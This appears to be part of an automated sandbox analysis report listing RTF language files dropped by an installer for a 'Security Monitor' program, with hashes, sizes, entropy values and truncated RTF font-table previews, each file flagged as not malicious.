Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pa

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-D2P5E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44577
Entropy (8bit):	5.047991849900316
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsH5GmTF187V63Fq+1h1r1FOZ/6A9b:2amAhHzF187g3Fq+1h1r1FOIA9b
MD5:	91A847C22456099C70F172382B194CBD
SHA1:	E3C2687C4166260A3C70B667341DB4773461D45D
SHA-256:	84D171982B9A0B79099979907F3347B0E21DEC8162F8DB41C22097D89EA4D7AD
SHA-512:	C194CF609F25F2813696E8FA33178917E63FFB6B9BFC2F78A5E7384D97434CC8545C585B3D94829D4F4ABD5BF2A9FB28383EB22ABF8F3166AD3AB875BDE35E28
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-E2TEI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48084
Entropy (8bit):	5.035611454104282
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnq/x7yjxNQwr8AUmQryuj8QDc3n3g3x:qqJ9aqbIA9b
MD5:	EF57D23344C66880C6A38F743FD3FF0E
SHA1:	FC336BCC92580A0D367CB5B3604EE0040CC08492
SHA-256:	E36C9442648C0564C6AD9AC6074EC2B5023BBEBF291708977714AD977DDC1633
SHA-512:	C336736ADD43033E4BEA538EDAD809127C1ECF80DA20FCD3E02065E310919529E44C5CF57D0FD24EA295FAE367BFE7F7C52465E18863D0B2AF37188EA069502F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-HUSE3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44558
Entropy (8bit):	5.049062407758663
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsc5NcTF4BaVy3F1+1h1r1KDZ/6A9L:2amAhcWF4BaA3F1+1h1r1KDIA9L
MD5:	16036186160BEB81F13561AE51DCFBED
SHA1:	BB644BD11DABCC9F453A71745D7CF12A1621FEBA
SHA-256:	AE0674BF9ECDCD8A1550E0ECA0529EED66E9786B6029AE6EB5414769205FDAA2
SHA-512:	CEDAD90055D3DE40A431B0FF9FA89D9E2A25E831EC484854F01E04CC953EBBD50D76B23107C5D1446145A4596A721EEBB34B6EFF827C623D894924BEB64B8DA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-JJ2T4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36597
Entropy (8bit):	5.030646060695953
Encrypted:	false
SSDEEP:	768:q4FkNx1ETicPI0QhhiLV9E8cvtsomvimZ/6A9Q:q4GVUnXIA9Q
MD5:	4C157CB3C17D248D1CE74DB9A506CBBC
SHA1:	E8786D856D7F9A33E841A2C4BDF4BA41E8153448
SHA-256:	78E2AD2864EE4FA19DF5149FA7C86F4937FECDC48B0AC7965B9332706A356F87
SHA-512:	BA3C0F19E6B41C82021B4B0A00D9177F44D9341C5F26226258AEAC93DD46622C55C50ED284F5B8CD6DEBAF52C35B55720732C0FF9D86961E55648E2182D358DC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-LG5KD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42930
Entropy (8bit):	5.0450094413030575
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqyxz/BSKIasAzoBYcXumDpIyZ/6A97:qqraqpIA97
MD5:	DBF71033F406A5C5C9AEA3EC2E669C28
SHA1:	829479F385D2FFC9EFF81C2E3F3543289D64C1B9
SHA-256:	452AA2D29FFC659EF8042B9933B8DD6A7A679E906371F3C5530E740ED0B8605F
SHA-512:	B926A8072DBAF438AC4F1B920D4C7B4A1E16BCD371F904DB429927968D2DA1D4C3ED1517DD7E8D35604911623F86EB4F46A3ADDA56B27BAEB9DB6063CA51BF68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-M20SH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39892
Entropy (8bit):	5.034602521621446
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGG1ZoQZq4sMQi1y9k1IKWhlmdBMyiX4+0Aw:2aFknOc7cskl/VGG1iMN+0dZ/6A9v
MD5:	D947033057D3BCAF28277A8071817DB8
SHA1:	901824B565296E552D80E934D8A2F39369611F86
SHA-256:	B8A385017A5AD17D0584EB61350466CD453CA521B282F195CA0AF0971621BFB2
SHA-512:	92ACB02795C228F72BF64ED33A55B6DB6D4222786B32FA0A67A6A55D53F6D851BC6659CCA4341FDECD6BF0B48E5CAC7D1A437A26927F790A57436C5AAFA1877B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-OJ58C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37249
Entropy (8bit):	5.028034136812006
Encrypted:	false
SSDEEP:	768:q4eoxdUjOcPI0QhhiLVutRNQf6zgOG4h/PWvFmZ/6A9D:q4V7UneIA9D
MD5:	0A48D352EE09C07B7AFC4D8FCA754602
SHA1:	A8EF06010F383B0E1DF2C56ABC44E3C28752D99B
SHA-256:	36765A4404110CDE20DBDD48BFB5C7550F38FCD80312627D2465234990A146D2
SHA-512:	5886EF5B32E3619BBCEA35A29332B9EB8BB7E05D2A34C7E9591756E391AC8710886AA52A9A4EF87227F58FE54109EFB3526B905AA1ED75ED93BC3ED7D6EAF871
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-OP3RK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44198
Entropy (8bit):	5.048748452821434
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsQ5x8tTF4BaVy3F1+1h1r1KDZ/6A95:2amAhQsF4BaA3F1+1h1r1KDIA95
MD5:	B09494F1B4F83DBB2489B542B911DFB3
SHA1:	02BA1EB53181B33E02138D564B00DF6FF7084091
SHA-256:	901AFF931E90289B75F9385BE37787DF1A88D67419623904BD8C9C7AD9CBE21A
SHA-512:	79BDB81018FD674776B10007A0FEAFD3B4A16718ED531EFAFDE80F54A924281A4199A7F1A3005C8FF9BE4E6DE2240C4C480667C0A99E134BBA0BF0A414BFD257
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-SFHSQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	5.036767014333867
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqExwaWxZqEUqCuj8QDe3n3g3/3Z3z3V:qqraqDIA9/
MD5:	7984C74EC410F7A952EBBBB798A09143
SHA1:	10E1E32861C86AA02C81D824CAEEB670DC2FD1F8
SHA-256:	922B12112DE9715D7164050920AE36A5AA44FB3346DF447C6ADB5ADF36483F69
SHA-512:	34B6C3E0E3FADC4AB057411FF42B6DEB01E3B70297A357358BC27E5A5A802D68B50BA01EB1DA42E922B00DA3C0F5E58330F9A751D496E107BBAE0FFC2E2B31BE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-SGNRO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	96477
Entropy (8bit):	4.924667312566969
Encrypted:	false
SSDEEP:	768:q4FkIxd/+zl3C79ka9aT2njX8x3fj5g5V5V5h5G5P5N585gVVhGPN9turfTYlD+N:q4pfLS7tFvIA9AA
MD5:	474EFD092A23625D32003FF87FF3453A
SHA1:	1BD49C74CD6DC150858759546E8C8B7A49F12288
SHA-256:	8AEAD04008796E39C04E7E0F99B5824387C416B5C2A0EFF01A9FE5881959F382
SHA-512:	3BED2B0372293ECDF4798D223917556E358EF8AB686D53519EAF6310329FF4B89FB26FA08F42A77D2B16C2065218B9EE746D9D126683CEA19ADAF83172895127
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-SHQC5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	5.037147955886456
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGGASZqeY4sMQi1OkBSyAQdAMeo75Y3kpTBd:2aFknOc7cskl/VGGAS0MDAJZ/6A9S
MD5:	2A08EEECD3328F25905421850E9182BE
SHA1:	EC931D459DAD71B222442AA00412E1E627F343E2
SHA-256:	F7F40C10AE7B09FB3D476FCEA2E2FC7CCA8DF57EE92899A1675B4A1B7D61749D
SHA-512:	D1F92F97F9B9F560A0FC510567A63B8A150759DCE4E25F0AA7B302537E3745FFA9722C144D1FF09308E7F131E92AD1CD5CB91C21B21ECE8B62E7A90B85911C10
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-T2L17.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42784
Entropy (8bit):	5.040903024418766
Encrypted:	false
SSDEEP:	768:qqFkwx1eXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3D5xoYAo79Q88T27Z/6A9I:qqRbnIA9I
MD5:	6A4574B9B32C4BC5A6F9B7825A003942
SHA1:	30BB8557175BD91B06453AA8017FA35754D870C6
SHA-256:	6EB4E3BD1DDD9B08957F4B2EC49482EB8C6A083F812703F28A51EDD2E1B65DCB
SHA-512:	2A220BD4DCE899F86CA79DB7F977362554CD80AB72BCC9EB24A28FA4D72B0F0A617655B76ACEEF6991273AA459CD1C7BF29FBB5EFE4C1E9C30CD900124E2BE81
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-T6LGH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50474
Entropy (8bit):	5.02065375573397
Encrypted:	false
SSDEEP:	768:q4Fk5e0/qCdXF2njX8x3l7G5V5V5h5G5P5N58JCxCIWC3/OpfVPV0VVqrHLLA2YG:q4bdAc8IA9+
MD5:	9796F2ACB16A082E1398FF7EB812FBF6
SHA1:	3D0439006944B32BA2864A66D50F7BB30857548B
SHA-256:	ACBF9B9D0150B9371E4FC0609F119C77E28F9999F6D30FEE0F1665F6A1116354
SHA-512:	AA0C265F319ED1193E474D23A793C53A697D44B29806EF6EDA7FABF83C597E45F49076D97DB919EC897E9257FCD41AB560A91E50D77EE6148FBA8A6D695DCE8D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-UJP2L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49574
Entropy (8bit):	5.031691924230754
Encrypted:	false
SSDEEP:	768:4qFys4jeDCcJ+r15g5V5V5h5G5P5N5hBcqtqYepn3/xXdQQMQs2YMKBX49nNbaEq:4qYo3CtU7c7KIA9m
MD5:	AEE08B8B9A32D64F630D57580A2D4457
SHA1:	0BD2511BF3C71E549858E1990A07CA29A11A9C8D
SHA-256:	468D9AA761B58B6CCA9C93C271D3B9A3EC96D367019CA53F0579E3A5E87720FE
SHA-512:	16CE81CF5D2A1910E845DC857AEC389ADB9E2A05E262DD47F4285A5BF5EE9A522622484EC9CE875089B1526B0C0A5956A66B858A6A731F33F2BDE6E1FE130A71
Malicious:	false
Reputation:	unknown
